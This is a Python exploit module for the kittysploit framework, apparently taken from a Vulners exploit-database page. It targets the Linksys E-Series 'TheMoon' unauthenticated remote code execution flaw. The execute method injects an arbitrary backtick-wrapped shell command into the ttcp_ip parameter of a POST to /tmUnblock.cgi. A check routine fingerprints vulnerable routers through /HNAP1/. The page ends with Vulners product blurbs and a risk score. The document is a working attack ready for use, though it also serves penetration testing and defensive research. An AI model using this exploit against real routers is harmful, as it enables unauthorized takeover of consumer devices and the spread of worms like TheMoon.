Linksys E-Series TheMoon RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Linksys E-Series TheMoon RCE"""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Linksys E-Series TheMoon RCE',
'description': 'Module exploits remote code execution vulnerability in multiple Linksys E-Series devices. Vulnerability was actively used by TheMoon Worm.',
'author': ['Johannes Ullrich', 'Rew', 'infodox', 'Michael Messner', 'juan vazquez', 'Marcin Bury'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://www.exploit-db.com/exploits/31683/', 'https://www.securityfocus.com/bid/65585', 'https://packetstormsecurity.com/files/125253', 'https://packetstormsecurity.com/files/125252', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630'],
'tags': ['iot', 'router', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
arch = OptString("mipsle", "Target architecture: mipsbe, mipsle")
def execute(self, cmd):
cmd = "-h `{}`".format(cmd)
data = {
"submit_button": "",
"change_action": "",
"action": "",
"commit": "0",
"ttcp_num": "2",
"ttcp_size": "2",
"ttcp_ip": cmd,
"StartEPI": "1",
}
self.http_request(
method="POST",
path="/tmUnblock.cgi",
data=data,
)
return ""
def check(self):
# See https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633
response = self.http_request(
method="GET",
path="/HNAP1/",
headers={'Host': 'test'}
)
if not (response):
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"} # target is not vulnerable
content = response.content
if content and content.find(b'ModelName') == -1:
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"} # target is not vulnerable
# target may be vulnerable
response = self.http_request(
method="GET",
path="/tmUnblock.cgi",
)
if response and response.status_code in [200, 301, 302] and not any(i in response.text.lower() for i in ["page not found", "error", "404", "not found"]):
return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"} # target is vulnerable
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"} # target is not vulnerable
def run(self):
result = self.check()
if isinstance(result, dict):
if not result.get("vulnerable"):
self.not_vulnerable()
return False
elif not result:
self.not_vulnerable()
return False
print_success("Target appears vulnerable")
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
6.2Medium risk
Vulners AI Score6.2